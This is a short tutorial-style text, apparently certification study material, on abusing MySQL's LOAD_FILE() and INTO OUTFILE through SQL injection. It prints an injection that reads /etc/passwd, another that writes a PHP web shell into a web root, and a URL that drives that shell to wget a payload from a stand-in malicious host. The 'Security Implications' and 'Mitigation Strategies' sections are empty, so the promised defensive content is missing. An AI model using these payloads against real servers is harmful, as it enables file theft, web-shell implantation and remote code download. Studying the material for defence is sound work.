mysql - file system exploitation

Attackers can exploit MySQL's file system interaction capabilities to gain unauthorized access to sensitive files and create backdoors on the server. This exploitation leverages MySQL's built-in functions that allow reading from and writing to the file system.

Key Attack Vectors

File Reading with LOAD_FILE()

The LOAD_FILE() function enables attackers to read files from the MySQL server's file system. This function returns the contents of a specified file as a string, making it particularly dangerous when combined with SQL injection vulnerabilities.

Attack Example:

NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*

When this injection is successful, the query displays the contents of the system's password file, potentially exposing user account information and system configuration details.

File Writing with INTO OUTFILE

The INTO OUTFILE clause allows attackers to write query results directly to files on the server's file system. This technique is commonly used to create web shells or plant malicious files.

Attack Example:

NULL UNION ALL SELECT NULL,NULL,NULL,NULL,'<?php system($_GET["command"]); ?>' 
INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*

This injection creates a PHP web shell that accepts commands via HTTP GET parameters. Once created, attackers can execute system commands remotely.

Command Execution Example:

http://www.certifiedhacker.com/shell.php?command=wget http://malicious-site.com/payload

Security Implications

These techniques can lead to:

Mitigation Strategies

Understanding these attack methods is crucial for implementing effective database security measures and preventing unauthorized file system access through SQL injection vulnerabilities.